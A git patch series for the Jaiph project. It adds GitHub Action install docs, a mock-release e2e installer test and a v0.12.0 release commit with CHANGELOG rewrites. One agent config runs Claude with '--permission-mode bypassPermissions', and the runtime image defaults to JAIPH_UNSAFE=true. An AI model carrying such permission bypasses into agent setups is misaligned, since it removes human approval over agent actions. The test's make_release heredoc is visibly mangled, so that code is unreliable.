    Jaiph source code is built mostly with real Jaiph workflows. The diff --git a/docs/setup.md b/docs/setup.md index 63666231..637f7f84 100644 --- a/docs/setup.md +++ b/docs/setup.md @@ -88,6 +88,22 @@ Override with `JAIPH_MINISIGN_PUBLIC_KEY` only when testing a key rotation befor For maintainer setup, see [Contributing — Release signing](contributing.md#release-signing). +## Install in GitHub Actions (CI) + +To install a pinned `jaiph` CLI in a GitHub Actions job, use the reusable [`setup-jaiph`](https://github.com/jaiphlang/jaiph/tree/main/actions/setup-jaiph) composite action instead of scripting the installer yourself. It downloads the same standalone per-platform release binary as the curl installer, so **no Node/npm is required on the runner**, and appends the install directory to `GITHUB_PATH` so `jaiph` is on `PATH` for every later step. + +```yaml +steps: + - uses: jaiphlang/jaiph/actions/setup-jaiph@v0.11.0 + with: + version: 0.11.0 # semver, a release tag (v0.11.0), or 'nightly' + - run: jaiph --version # jaiph is now on PATH for later steps +``` + +Pin both the action ref (`@v0.11.0`) and the `version` input to an exact release for reproducible CI; use `nightly` to track the rolling prerelease. The action supports GitHub-hosted **Linux** and **macOS** runners (arm64 / x64) covered by release artifacts. + +The action inherits the installer's [fail-closed policy](#1-install-the-binary): a checksum mismatch, a missing signature file, or a missing release artifact fails the step and installs nothing (and the signature is verified when [`minisign`](https://jedisct1.github.io/minisign/) is on the runner's `PATH`). For the full input/output reference, see the [action README](https://github.com/jaiphlang/jaiph/tree/main/actions/setup-jaiph). + ## Related - [Architecture — Distribution: Node vs Bun standalone](architecture.md#distribution-node-vs-bun-standalone) — what the installer downloads and why the binary is self-contained. diff --git a/e2e/test_all.sh b/e2e/test_all.sh index 094c50c8..6e465bb5 100755 --- a/e2e/test_all.sh +++ b/e2e/test_all.sh @@ -10,6 +10,7 @@ TEST_SCRIPTS=( "e2e/tests/00_install_and_init.sh" "e2e/tests/05_jaiph_use_pinned_version.sh" "e2e/tests/07_installer_binary.sh" + "e2e/tests/08_setup_action.sh" "e2e/tests/10_basic_workflows.sh" "e2e/tests/20_rule_and_prompt.sh" "e2e/tests/22_assign_capture.sh" diff --git a/e2e/tests/08_setup_action.sh b/e2e/tests/08_setup_action.sh new file mode 100644 index 00000000..6cc89e11 --- /dev/null +++ b/e2e/tests/08_setup_action.sh @@ -0,0 +1,194 @@ +#!/usr/bin/env bash +# +# Acceptance for the setup-jaiph GitHub Action (actions/setup-jaiph): +# - Installs the requested version onto a runner bin dir and leaves `jaiph` +# runnable there; appends that dir to $GITHUB_PATH for later steps. +# - Resolves the `version` input to a release ref: bare semver -> v, +# an explicit tag (v0.11.0) is kept as-is, and 'nightly' stays 'nightly'. +# - Fails closed (non-zero, nothing installed, $GITHUB_PATH untouched) on a +# checksum mismatch or a missing release artifact — inheriting docs/install. +# +# Network-free: the action's entrypoint runs the real docs/install pointed at a +# `file://` mock release via JAIPH_RELEASE_BASE_URL, with a fake `jaiph` binary +# that answers `--version`. When minisign is on the host, SHA256SUMS is signed +# with a throwaway key whose public key is handed to the installer (docs/install +# resolves an empty key back to the real project key, so it cannot be blanked); +# without minisign a placeholder signature is enough. Fail-closed on a missing +# .minisig is already covered by 07_installer_binary.sh. + +set -euo pipefail + +ROOT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")/../.." && pwd)" +source "${ROOT_DIR}/e2e/lib/common.sh" +trap e2e::cleanup EXIT + +e2e::prepare_test_env "setup_action" +TEST_DIR="${JAIPH_E2E_TEST_DIR}" +SETUP_SCRIPT="${ROOT_DIR}/actions/setup-jaiph/setup.sh" + +if command -v sha256sum >/dev/null 2>&1; then + host_sha256() { sha256sum "$1" | awk '{print $1}'; } +elif command -v shasum >/dev/null 2>&1; then + host_sha256() { shasum -a 256 "$1" | awk '{print $1}'; } +else + e2e::skip "no sha256sum/shasum on host — skipping setup-action acceptance" + exit 0 +fi + +case "$(uname -s)" in + Darwin) HOST_OS="darwin" ;; + Linux) HOST_OS="linux" ;; + *) e2e::skip "host platform not supported by installer — skipping"; exit 0 ;; +esac +case "$(uname -m)" in + arm64|aarch64) HOST_ARCH="arm64" ;; + x86_64|x64) HOST_ARCH="x64" ;; + *) e2e::skip "host arch not supported by installer — skipping"; exit 0 ;; +esac +HOST_BIN_NAME="jaiph-${HOST_OS}-${HOST_ARCH}" + +FAKE_VERSION="jaiph 9.9.9-e2e" + +# Sign a release's SHA256SUMS so docs/install's signature step passes. The +# installer verifies the detached signature BEFORE the checksum, so both the +# valid and tampered-checksum releases must be signed to reach later steps. +# Sets REL_PUBKEY to the matching public key (empty when minisign is absent, +# in which case the installer skips verification against a placeholder sig). +REL_PUBKEY="" +sign_release() { + local dir="$1" + if command -v minisign >/dev/null 2>&1; then + rm -f "${dir}/test.pub" "${dir}/test.key" + minisign -G -W -p "${dir}/test.pub" -s "${dir}/test.key" >/dev/null 2>&1 + minisign -S -s "${dir}/test.key" -m "${dir}/SHA256SUMS" >/dev/null 2>&1 + REL_PUBKEY="$(tail -n 1 "${dir}/test.pub")" + else + printf 'placeholder-sig\n' > "${dir}/SHA256SUMS.minisig" + REL_PUBKEY="" + fi +} + +# Build a mock release: a fake `jaiph` binary that answers --version, a correct +# SHA256SUMS, and a signature covering it. +make_release() { + local dir="$1" + mkdir -p "${dir}" + cat > "${dir}/${HOST_BIN_NAME}" < "${dir}/SHA256SUMS" + sign_release "${dir}" +} + +# Run the action entrypoint against a mock release, using REL_PUBKEY for the +# signature key. Args: version, bin_dir, release_dir, github_path, github_output. +# Echoes combined output; returns the entrypoint's exit status. +run_setup() { + local version="$1" bin_dir="$2" release_dir="$3" gh_path="$4" gh_out="$5" + INPUT_VERSION="${version}" \ + JAIPH_BIN_DIR="${bin_dir}" \ + JAIPH_RELEASE_BASE_URL="file://${release_dir}" \ + JAIPH_MINISIGN_PUBLIC_KEY="${REL_PUBKEY}" \ + GITHUB_PATH="${gh_path}" \ + GITHUB_OUTPUT="${gh_out}" \ + bash "${SETUP_SCRIPT}" 2>&1 +} + +# ── Happy path: bare semver installs and lands on GITHUB_PATH ────────────────── + +e2e::section "version input installs jaiph and exposes it on GITHUB_PATH" + +RELEASE_OK="${TEST_DIR}/release-ok" +BIN_OK="${TEST_DIR}/bin-ok" +GH_PATH_OK="${TEST_DIR}/github_path" +GH_OUT_OK="${TEST_DIR}/github_output" +: > "${GH_PATH_OK}" +: > "${GH_OUT_OK}" +make_release "${RELEASE_OK}" + +ok_status=0 +ok_output="$(run_setup "0.11.0" "${BIN_OK}" "${RELEASE_OK}" "${GH_PATH_OK}" "${GH_OUT_OK}")" || ok_status=$? +e2e::assert_equals "${ok_status}" "0" "setup entrypoint succeeds for a valid release" +# assert_contains: full output includes the installer's ANSI-colored progress. +e2e::assert_contains "${ok_output}" "resolved version '0.11.0' to release ref 'v0.11.0'" \ + "bare semver resolves to a v-prefixed release tag" + +e2e::assert_file_executable "${BIN_OK}/jaiph" "installed jaiph is executable" +installed_version="$("${BIN_OK}/jaiph" --version)" +e2e::assert_equals "${installed_version}" "${FAKE_VERSION}" "installed jaiph reports the requested version" +# The install dir is appended to GITHUB_PATH verbatim (one line, no extras). +e2e::assert_equals "$(<"${GH_PATH_OK}")" "${BIN_OK}" "install dir is appended to GITHUB_PATH" +# assert_contains: GITHUB_OUTPUT accumulates key=value lines from the step. +e2e::assert_contains "$(<"${GH_OUT_OK}")" "version=${FAKE_VERSION}" "resolved version is written to GITHUB_OUTPUT" +e2e::pass "valid version installs and is exposed for later steps" + +# ── Ref resolution: explicit tag and nightly ────────────────────────────────── + +e2e::section "explicit tag and nightly resolve to the matching release ref" + +tag_status=0 +tag_output="$(run_setup "v0.11.0" "${TEST_DIR}/bin-tag" "${RELEASE_OK}" "${TEST_DIR}/gh_path_tag" "${TEST_DIR}/gh_out_tag")" || tag_status=$? +e2e::assert_equals "${tag_status}" "0" "explicit tag input succeeds" +# assert_contains: full output includes the installer's ANSI-colored progress. +e2e::assert_contains "${tag_output}" "resolved version 'v0.11.0' to release ref 'v0.11.0'" \ + "an explicit v-tag is used as-is" + +nightly_status=0 +nightly_output="$(run_setup "nightly" "${TEST_DIR}/bin-nightly" "${RELEASE_OK}" "${TEST_DIR}/gh_path_nightly" "${TEST_DIR}/gh_out_nightly")" || nightly_status=$? +e2e::assert_equals "${nightly_status}" "0" "nightly input succeeds" +# assert_contains: full output includes the installer's ANSI-colored progress. +e2e::assert_contains "${nightly_output}" "resolved version 'nightly' to release ref 'nightly'" \ + "nightly stays on the nightly ref" +e2e::pass "version input maps to the expected release refs" + +# ── Fail closed: checksum mismatch ──────────────────────────────────────────── + +e2e::section "checksum mismatch fails the step and installs nothing" + +RELEASE_BAD="${TEST_DIR}/release-bad" +BIN_BAD="${TEST_DIR}/bin-bad" +GH_PATH_BAD="${TEST_DIR}/github_path_bad" +mkdir -p "${RELEASE_BAD}" +: > "${GH_PATH_BAD}" +printf 'real-binary-bytes' > "${RELEASE_BAD}/${HOST_BIN_NAME}" +# Wrong hash so the installer reaches the checksum step and fails there. Sign the +# tampered SHA256SUMS so the earlier signature step passes (verified first). +printf '%s %s\n' "0000000000000000000000000000000000000000000000000000000000000000" "${HOST_BIN_NAME}" \ + > "${RELEASE_BAD}/SHA256SUMS" +sign_release "${RELEASE_BAD}" + +bad_status=0 +bad_output="$(run_setup "0.11.0" "${BIN_BAD}" "${RELEASE_BAD}" "${GH_PATH_BAD}" "${TEST_DIR}/gh_out_bad")" || bad_status=$? +e2e::assert_equals "${bad_status}" "1" "checksum mismatch exits non-zero" +# assert_contains: full message includes ANSI colors and per-host hashes. +e2e::assert_contains "${bad_output}" "Checksum mismatch" "checksum mismatch is reported" +if [ -e "${BIN_BAD}/jaiph" ]; then + e2e::fail "checksum failure left a binary in ${BIN_BAD}" +fi +e2e::assert_equals "$(<"${GH_PATH_BAD}")" "" "GITHUB_PATH is untouched on failure" +e2e::pass "checksum mismatch is non-recoverable and touches nothing" + +# ── Fail closed: missing release artifact ───────────────────────────────────── + +e2e::section "missing release artifact fails the step and installs nothing" + +RELEASE_MISSING="${TEST_DIR}/release-missing" +BIN_MISSING="${TEST_DIR}/bin-missing" +mkdir -p "${RELEASE_MISSING}" +# The binary asset is intentionally absent; SHA256SUMS points at it anyway. +printf '%s %s\n' "0000000000000000000000000000000000000000000000000000000000000000" "${HOST_BIN_NAME}" \ + > "${RELEASE_MISSING}/SHA256SUMS" +printf 'placeholder-sig\n' > "${RELEASE_MISSING}/SHA256SUMS.minisig" + +missing_status=0 +missing_output="$(run_setup "0.11.0" "${BIN_MISSING}" "${RELEASE_MISSING}" "${TEST_DIR}/gh_path_missing" "${TEST_DIR}/gh_out_missing")" || missing_status=$? +e2e::assert_equals "${missing_status}" "1" "missing artifact exits non-zero" +# assert_contains: full message includes ANSI colors and the resolved URL. +e2e::assert_contains "${missing_output}" "Failed to download" "download failure is reported" +if [ -e "${BIN_MISSING}/jaiph" ]; then + e2e::fail "missing artifact left a binary in ${BIN_MISSING}" +fi +e2e::pass "missing artifact is non-recoverable and leaves no binary" From 4c841374df7d88eda17433a027aa98ae7f37a8f3 Mon Sep 17 00:00:00 2001 From: Jakub Dzikowski Date: Wed, 29 Jul 2026 15:46:23 +0200 Subject: [PATCH 24/24] Release: stamp v0.12.0 and align plugin versions Bump the CLI, VS Code/Zed extensions, and Tree-sitter grammar to 0.12.0, stamp a concise user-facing CHANGELOG summary, retarget installer/docs pins, fix the Zed grammar rev, and run docs_parity on fable instead of opus. Co-authored-by: Cursor --- .jaiph/docs_parity.jh | 2 +- CHANGELOG.md | 20 +++++++++----------- README.md | 6 +++--- actions/setup-jaiph/README.md | 8 ++++---- docs/cli.md | 2 +- docs/contributing.md | 2 +- docs/env-vars.md | 2 +- docs/index.html | 10 +++++----- docs/install | 2 +- docs/install.ps1 | 2 +- docs/setup.md | 10 +++++----- grammars/tree-sitter-jaiph/package.json | 14 +++++++++++--- package-lock.json | 4 ++-- package.json | 2 +- plugins/vscode/package-lock.json | 4 ++-- plugins/vscode/package.json | 2 +- plugins/zed/extension.toml | 4 ++-- plugins/zed/package.json | 2 +- 18 files changed, 52 insertions(+), 46 deletions(-) diff --git a/.jaiph/docs_parity.jh b/.jaiph/docs_parity.jh index 8d431d9f..2dfd2e6a 100755 --- a/.jaiph/docs_parity.jh +++ b/.jaiph/docs_parity.jh @@ -2,7 +2,7 @@ config { agent.backend = "claude" - agent.model = "opus" + agent.model = "fable" agent.claude_flags = "--permission-mode bypassPermissions" } diff --git a/CHANGELOG.md b/CHANGELOG.md index ffec5242..bfd4c901 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -2,19 +2,18 @@ ## Summary -- **Install Jaiph in GitHub Actions with `setup-jaiph`:** the placeholder at `actions/setup-jaiph/` is now a shippable reusable composite action — `- uses: jaiphlang/jaiph/actions/setup-jaiph@` with a `version` input (bare semver, a release tag, or `nightly`) installs a pinned `jaiph` CLI onto `PATH` for GitHub-hosted Linux and macOS runners in one step. It downloads the same standalone per-platform release binary as the [curl installer](docs/setup.md), so no Node/npm is required on the runner, appends the install dir to `GITHUB_PATH` for later steps, and inherits the installer's fail-closed checksum/signature policy (a bad checksum or a missing artifact fails the step and installs nothing). - -- **Refresh the VS Code extension for the current language:** the in-tree `plugins/vscode/` extension now highlights the current `.jh` / `*.test.jh` surface (`script`, `run async`, `catch` / `recover`, channels, `for … in`, `logwarn`, `expect_*`, `test` blocks), backs open/save diagnostics and formatting with the installed `jaiph` CLI (reporting a clear error when the binary is missing instead of failing silently), and ships an automated grammar + CLI-contract test suite gated by a path-filtered CI job. - -- **Add a Zed extension:** `plugins/zed/` is a real Zed language extension for `.jh` / `*.test.jh`, backed by a new Tree-sitter grammar at `grammars/tree-sitter-jaiph/` (Zed requires Tree-sitter, so the VS Code TextMate grammar cannot be reused). It highlights the current Jaiph surface — keywords, comments, double/triple-quoted strings, regex, config keys, channels (`->` / `<-`), `match` arms, and `test` blocks — and injects embedded script bodies (```` ```bash ````, ```` ```python3 ````, …) into their host language. The grammar is pinned from `extension.toml` by repository + revision (with a `file://` form for local dev), and a path-filtered CI job regenerates the grammar and query-checks the shipped highlight/injection queries against fixtures so a grammar or query regression fails the build. - -- **Serve workflows over HTTP (and MCP over the same port):** run `jaiph serve ./tools.jh` to expose a file's workflows as an HTTP API with a generated OpenAPI 3.1 document and a browser Swagger UI at `/docs`, **and** as MCP Streamable HTTP at `POST /mcp` — one process, one workflow generation, one authentication boundary, and one run registry for REST and MCP clients alike. A CI job, a Kubernetes deployment, a browser, or a remote MCP agent can invoke the same tested workflows and inspect their runs; `jaiph mcp` remains the stdio sibling for co-located clients. Production authentication is either a static single-operator bearer token or standard OIDC/JWT (issuer + audience + JWKS discovery) with per-user identity and separate `invoke` / `inspect` / `cancel` scope authorization, and every run is audit-attributed to its authenticated principal and correlation id (in run metadata, logs, OTLP, and Sentry — never a token). A concurrency cap, per-run output caps, bounded run retention, and the same durable `.jaiph/runs/` records as `jaiph run` are built in, so a long-lived service stays within a bounded memory footprint. Runs are restart-safe and retry-safe: each run's public record is persisted beside its journal and reconstructed on startup (so list/get/events/artifacts keep working across a restart, and a run caught mid-flight by a process death is reconciled to an explicit `interrupted` state, never left reported as permanently running), and an optional `Idempotency-Key` on run creation makes client retries return the original run instead of spawning a duplicate. It is a **single-replica** service by design — the run registry, concurrency cap, and idempotency index are per-process — so scale it vertically, not by adding replicas. +## All changes -- **Export traces to an OTLP collector:** every run mode now exports one OpenTelemetry span tree (workflow → steps → prompts) to any OTLP/HTTP collector — a local `otel-collector`, Grafana Tempo, Honeycomb, Datadog — enabled by the standard `OTEL_EXPORTER_OTLP_ENDPOINT`. A standard `jaiph run`, a standalone `jaiph run --raw`, and workflows invoked through `jaiph mcp` / `jaiph serve` are all covered (a Docker-sandboxed run is still exported exactly once by the host). Export is host-side and end-of-run (it reads the run's already credential-redacted `run_summary.jsonl`), adds no runtime dependencies, and is never load-bearing: the OTLP and Sentry exporters run concurrently under one bounded flush budget (`JAIPH_TELEMETRY_FLUSH_MS`, default 10 s), and on long-lived `jaiph serve` / `jaiph mcp` processes delivery is detached so an unreachable backend can never delay a terminal result or hold an execution slot — an erroring collector produces one (bounded) stderr warning and leaves the run's exit code, output, and journal untouched. +# 0.12.0 -- **Report failed runs to Sentry:** a run that terminates *unsuccessfully* (nonzero exit or a signal) is now pushed to a Sentry error tracker as one error event — enabled by the standard `SENTRY_DSN` — so operators running workflows on a schedule or as a service get alerting and grouping without scraping run directories. The event carries the workflow, the failing step, a credential-redacted output excerpt, and a run-dir pointer, and groups re-occurrences per workflow + failing step. Like trace export it is host-side, end-of-run, adds no runtime dependencies, and is never load-bearing: an unreachable or erroring Sentry produces exactly one stderr warning and leaves the run's exit code and output untouched. Successful runs send nothing. +## Summary -- **Run the runtime image standalone:** the published `ghcr.io/jaiphlang/jaiph-runtime` image now bakes `JAIPH_UNSAFE=true`, so you can run it directly — `docker run --rm -e ANTHROPIC_API_KEY -v "$PWD":/work -w /work ghcr.io/jaiphlang/jaiph-runtime jaiph run flow.jh`, or as a Kubernetes pod — with no host jaiph process and no Docker daemon inside the container. The story is "put credentials + jaiph files and run it": inside the image the container *is* the sandbox, so host-mode execution is the correct default and there is no jaiph-managed isolation (workspace content policy is the operator's responsibility). Host-orchestrated sandbox behavior is unchanged. A new [Deploy the runtime image standalone](docs/deploy.md) how-to and an apply-ready `docs/deploy/k8s.yaml` manifest cover `docker run`, CI, and Kubernetes, including the no-jaiph-sandbox security posture. +- **Serve workflows over HTTP:** `jaiph serve` exposes a file's workflows as a REST API with OpenAPI/Swagger, plus MCP Streamable HTTP on the same port — OIDC/JWT or a static token, restart-safe runs, idempotent create, and bounded retention. +- **Observability out of the box:** set `OTEL_EXPORTER_OTLP_ENDPOINT` for end-of-run span trees, and `SENTRY_DSN` to alert on failed runs — host-side, credential-redacted, never load-bearing. +- **Run the runtime image standalone:** `ghcr.io/jaiphlang/jaiph-runtime` bakes `JAIPH_UNSAFE=true` so `docker run` / Kubernetes can execute workflows with no host jaiph process. +- **Install Jaiph in GitHub Actions:** `- uses: jaiphlang/jaiph/actions/setup-jaiph@v0.12.0` pins a release binary onto `PATH` (Linux/macOS) with the same checksum/signature checks as the curl installer. +- **Editor plugins in-tree:** VS Code/Cursor and Zed extensions for `.jh` / `*.test.jh` (TextMate + Tree-sitter), with CLI-backed diagnostics and format in VS Code. +- **Hardened long-lived services:** serve/MCP keep memory and results bounded, redact credentials from returned output, never block a terminal run on telemetry, and avoid loading OIDC deps for every CLI invocation. ## All changes @@ -53,7 +52,6 @@ - **Feat — `jaiph serve` run inspection: live event stream + artifact download:** A `jaiph serve` client can now watch what a run is doing while it executes and retrieve the files it publishes, not just read its terminal result. Three new bearer-gated endpoints (`src/cli/serve/runfiles.ts` + routes in `src/cli/serve/handler.ts`, documented in the generated OpenAPI via `src/cli/serve/openapi.ts`) read from the run's durable, host-visible run directory — the same `run_summary.jsonl` journal and `artifacts/` tree `jaiph run` writes. **`GET /v1/runs/{id}/events`** serves the run's `run_summary.jsonl`: by default the whole journal as `application/x-ndjson`, verbatim, then closes; with `Accept: text/event-stream` it switches to **Server-Sent Events** — `streamRunEventsSse` replays every existing line as `data: `, then follows the file as it appends (polling ~250 ms), emits a `:ka` keep-alive comment every 15 s, and closes with `event: end` once the server's run registry marks the run terminal (so it works identically for a still-running run and an already-terminal one: full replay plus an immediate `end`). **`GET /v1/runs/{id}/artifacts`** returns `{artifacts: [{path, size, mtime}, …]}` for every regular file under the run's `artifacts/` (recursive, `[]` when none). **`GET /v1/runs/{id}/artifacts/{path}`** downloads one file as `application/octet-stream` with a `Content-Disposition` filename. All three are `404` on an unknown run id and `401` unauthenticated. To reach a run that is *still executing* — whose dir is only recorded on its record at finalize — the server injects a `resolveRunDir` resolver (`src/cli/commands/serve.ts`) that falls back to scanning the host runs root for the run id via `findRunDir` (`src/cli/shared/errors.ts`), which also resolves the **Docker-mode** host-side run dir (the run dir is a host mount in every sandbox mode). The HTTP layer grew a streaming path: `ServeResponse` now carries an optional `bodyBuffer` (binary bodies — NDJSON journal, artifact bytes) and a `stream(target)` hook driven by `src/cli/serve/server.ts`'s `makeStreamTarget`, which wires SSE writes to the socket and flips `aborted` (stopping the follow loop) the moment the client disconnects. **Security:** the journal is served **verbatim** — the credential redaction `RuntimeEventEmitter` already applies (values of `*_API_KEY` / `*_TOKEN` / `*_SECRET` env vars → `[REDACTED]`) *is* the redaction guarantee — and the raw per-step `%06d-*.out` / `.err` capture files are unreachable **by construction**: `listArtifacts` walks only the `artifacts/` subtree (the captures live in the run-dir root), and downloads go through `resolveArtifactPath`, which is traversal-proof via three guards checked before any read — reject empty/NUL requests, lexical containment (`resolve()` collapses `..`/absolute paths and the result must sit under `artifacts/`), and **symlink** containment (`realpathSync` on both the artifacts dir and the candidate — an `artifacts/` symlink pointing outside is rejected without reading its target, while one pointing inside still serves). Tests: `src/cli/serve/runfiles.test.ts` (artifact listing skips `.out`/`.err` captures; the full traversal battery — `../`, absolute, empty/NUL, directory, escaping symlink rejected without reading the target, inside-pointing symlink served, and a capture-file symlink rejected; SSE replays a terminal journal as `data:` frames then `event: end`, and stops promptly on client disconnect), `integration/serve-server.test.ts` (SSE mid-run: replayed `WORKFLOW_START`, a `STEP_END` **before** the run is terminal, `event: end` + socket close after completion, and the concatenated `data:` payloads equal the final journal line set; NDJSON on a terminal run byte-matches the journal; unknown run → `404`; unauthenticated → `401`; a credential echoed by a run is absent and `[REDACTED]` present in the stream; artifacts list-then-download round-trips byte-identically and a traversal is `404`), and `e2e/tests/147_serve_http_api.sh` (NDJSON byte-matches `run_summary.jsonl`; artifact list + byte-identical download; URL-encoded `%2e%2e` traversal → `404`). Docs: "Watch a run as it executes" and "Download a run's artifacts" sections in [Serve workflows over HTTP](serve.md) (with the raw-captures non-exposure called out as a security property), and the three endpoint rows in the `jaiph serve` table in [CLI](cli.md). (Deployability feedback `2026-07-23` — "a UI on top to be able to inspect what it is doing"; contract in `design/2026-07-23-serve-http-api.md` § Events streaming.) - **Feat — `jaiph serve`: HTTP API with OpenAPI 3.1 + Swagger UI:** A new command turns a `.jh` file into a network-reachable, self-describing HTTP service, complementing `jaiph mcp` (which exposes the same workflows only over stdio JSON-RPC to a co-located parent). `jaiph serve [--host ] [--port ] [--workspace

    ] [--env KEY[=VALUE]]... ` (default `127.0.0.1:5247`) is dispatched from `src/cli/index.ts` and implemented in `src/cli/commands/serve.ts` + `src/cli/serve/`, hand-rolled on `node:http` with **no runtime npm dependencies** (project policy — `package.json` `dependencies` stays absent; the MCP server set the precedent). Startup mirrors `jaiph mcp`: graph load + `collectDiagnostics` (errors to stderr, exit `1`), `--env` resolved once via `resolveEnvPairs`, Docker config + image prepared once, credential pre-flight as warnings, and a sandbox-mode notice; all logs go to stderr and one startup line prints the listen URL and the `/docs` URL. Endpoints: `GET /` → `302 /docs`; unauthenticated `GET /healthz`, `GET /openapi.json`, `GET /docs`; and bearer-gated `GET /v1/workflows`, `POST /v1/workflows/{name}/runs` (async `202` + `Location`, or `?wait=true` → terminal `200`), `GET /v1/runs`, `GET /v1/runs/{id}`, `POST /v1/runs/{id}/cancel`. A run is a durable resource `{run_id, workflow, status, started_at, ended_at, exit_status, signal, result_text, run_dir}` with `status ∈ running|succeeded|failed|cancelled`; **a workflow failure is not an HTTP error** — it comes back `200`/`202` with `status:"failed"` and the same failure narrative `jaiph mcp` returns. Errors use `{error:{code,message}}`: `400 E_BAD_ARGS`, `401 E_UNAUTHORIZED`, `404 E_NOT_FOUND`, `409 E_RUN_TERMINAL`, `413 E_BODY_TOO_LARGE` (1 MiB body cap), `415 E_UNSUPPORTED_MEDIA_TYPE` (non-`application/json` body), `429 E_TOO_MANY_RUNS`. Workflow exposure, naming, descriptions, and request-body schemas come from the shared `deriveTools` (`src/cli/mcp/tools.ts`) — identical rules to MCP (export-narrowing, route-target exclusion, `default` handling, required-string params, `additionalProperties:false`), with param validation mirroring MCP's `-32602` rules as HTTP `400`. **Auth:** bearer token from `JAIPH_SERVE_TOKEN` (env only, never argv), constant-time compared, required on all `/v1/*`; `/healthz`, `/openapi.json`, `/docs` stay unauthenticated (schema metadata only, a documented trade-off) — and binding a non-loopback `--host` without the token set is a startup error before any socket opens. **Limits:** `JAIPH_SERVE_MAX_CONCURRENT` (default `4`) caps simultaneous runs → `429`. `GET /openapi.json` returns OpenAPI **3.1.0** generated per request by the pure `buildOpenApi(tools, serverInfo)` (`src/cli/serve/openapi.ts`) — one concrete path per workflow (own `operationId`, `#`-comment description, MCP input schema as request body), the run-resource paths, run/error component schemas, and a bearer `securityScheme`. `GET /docs` serves a static Swagger UI shell (`src/cli/serve/docs.ts`) loading `swagger-ui-dist` from a CDN with a **pinned exact version + SRI `integrity` hashes + `crossorigin`** on both assets and `SwaggerUIBundle({url:"/openapi.json", persistAuthorization:true})` — no vendored assets, so `/docs` needs browser internet access and `/openapi.json` is the offline fallback (air-gap consequence recorded in the design doc). Execution reuses the MCP call layer, **moved** from `src/cli/mcp/call.ts` to `src/cli/exec/call.ts` (`McpCallResult` → `WorkflowCallResult`, caller now supplies `runId`, result extended with `{runDir?, exitStatus?, signal?}`); sandbox selection, `--env` passthrough, and cancellation (child kill + `stopDockerContainer`) work exactly as for MCP calls. The generation/hot-reload machinery (`loadState`, watch/rewatch, generation dirs) was extracted from `src/cli/commands/mcp.ts` into `src/cli/shared/generation.ts` and is now shared by both commands; editing a served source re-derives the workflow set and the OpenAPI document with no restart, and a superseded generation's scripts dir is deleted only after its in-flight runs finish (refcounted, since HTTP runs can outlive a reload). Shutdown: the first `SIGINT`/`SIGTERM` stops accepting and drains in-flight runs, a second signal cancels them, exit `0`. `jaiph mcp` behavior is unchanged after the extraction (its own tests prove it). Tests: `src/cli/serve/handler.test.ts` (injected-deps handler — unknown workflow `404`; missing / non-string / unexpected param `400`; cancel `202` → terminal `cancelled` with child + container teardown, cancel-on-terminal `409`; `429`/`413`/`415`; auth matrix incl. non-loopback-without-token exit `1`), `src/cli/serve/openapi.test.ts` (output passes a real OpenAPI 3.1 validator devDependency; one path per exposed workflow with the exact MCP-derived schema, covering the export-narrowing fixture), `src/cli/serve/docs.test.ts` (pinned version + `integrity` + `crossorigin` on both assets), `integration/serve-server.test.ts` (real server on port 0 — `wait=true` round-trips a `return` value into `result_text` with `status:"succeeded"`; async `202` + `Location` polled to the same terminal result; failing workflow → HTTP `200` with `status:"failed"`, `exit_status`, and `run dir:` in `result_text`; hot-reload surfaces a new workflow in `/openapi.json` and `/v1/workflows` while a pre-reload run still completes), and `e2e/tests/147_serve_http_api.sh` (wired into `e2e/test_all.sh`). Docs: new [Serve workflows over HTTP](serve.md) how-to, a `jaiph serve` section in [CLI](cli.md), `JAIPH_SERVE_TOKEN` and `JAIPH_SERVE_MAX_CONCURRENT` rows in [Environment variables](env-vars.md), `printUsage` in `src/cli/shared/usage.ts`, a README feature bullet, and the features overview on `docs/index.html`. (Deployability feedback `2026-07-23`; contract in `design/2026-07-23-serve-http-api.md`.) - # 0.11.0 ## Summary diff --git a/README.md b/README.md index 8aebca7e..9585acc9 100644 --- a/README.md +++ b/README.md @@ -78,13 +78,13 @@ npm install -g jaiph In GitHub Actions, install a pinned CLI with the [`setup-jaiph`](actions/setup-jaiph/) composite action (same release binaries, no Node required on the runner): ```yaml -- uses: jaiphlang/jaiph/actions/setup-jaiph@v0.11.0 +- uses: jaiphlang/jaiph/actions/setup-jaiph@v0.12.0 with: - version: 0.11.0 # semver, a release tag, or 'nightly' + version: 0.12.0 # semver, a release tag, or 'nightly' - run: jaiph --version # jaiph is now on PATH for later steps ``` -Verify: `jaiph --version`. Switch versions: `jaiph use nightly` or `jaiph use 0.11.0`. +Verify: `jaiph --version`. Switch versions: `jaiph use nightly` or `jaiph use 0.12.0`. Releases ship a `SHA256SUMS` file plus a detached [minisign](https://jedisct1.github.io/minisign/) signature (`SHA256SUMS.minisig`); the installer verifies the checksum and, when `minisign` and the project public key are available, the signature — see [Verify the release signature](docs/setup.md#verify-the-release-signature). diff --git a/actions/setup-jaiph/README.md b/actions/setup-jaiph/README.md index 888a815c..8f18b8e6 100644 --- a/actions/setup-jaiph/README.md +++ b/actions/setup-jaiph/README.md @@ -12,13 +12,13 @@ release artifacts. ```yaml steps: - - uses: jaiphlang/jaiph/actions/setup-jaiph@v0.11.0 + - uses: jaiphlang/jaiph/actions/setup-jaiph@v0.12.0 with: - version: 0.11.0 # semver, a release tag (v0.11.0), or 'nightly' + version: 0.12.0 # semver, a release tag (v0.12.0), or 'nightly' - run: jaiph --version # jaiph is now on PATH for every later step ``` -Pin both the action (`@v0.11.0`) and the `version` input to an exact release for +Pin both the action (`@v0.12.0`) and the `version` input to an exact release for reproducible CI. Use `nightly` to track the rolling prerelease: ```yaml @@ -31,7 +31,7 @@ reproducible CI. Use `nightly` to track the rolling prerelease: | Input | Required | Default | Description | |-----------|----------|-----------|-------------| -| `version` | no | `nightly` | Version to install: a bare semver (`0.11.0`), a release tag (`v0.11.0`), or `nightly`. | +| `version` | no | `nightly` | Version to install: a bare semver (`0.12.0`), a release tag (`v0.12.0`), or `nightly`. | ## Outputs diff --git a/docs/cli.md b/docs/cli.md index 68e8faea..3accd90a 100644 --- a/docs/cli.md +++ b/docs/cli.md @@ -268,7 +268,7 @@ jaiph use | Argument | Effect | |---|---| | `nightly` | Reinstalls from the rolling `nightly` prerelease. | -| `` (e.g. `0.11.0`) | Reinstalls the release binary for tag `v`. | +| `` (e.g. `0.12.0`) | Reinstalls the release binary for tag `v`. | Implementation: re-invokes `JAIPH_INSTALL_COMMAND` (default `curl -fsSL https://jaiph.org/install | bash`) with `JAIPH_REPO_REF` set to `nightly` or `v`. The installer downloads the matching per-platform binary plus `SHA256SUMS`, verifies 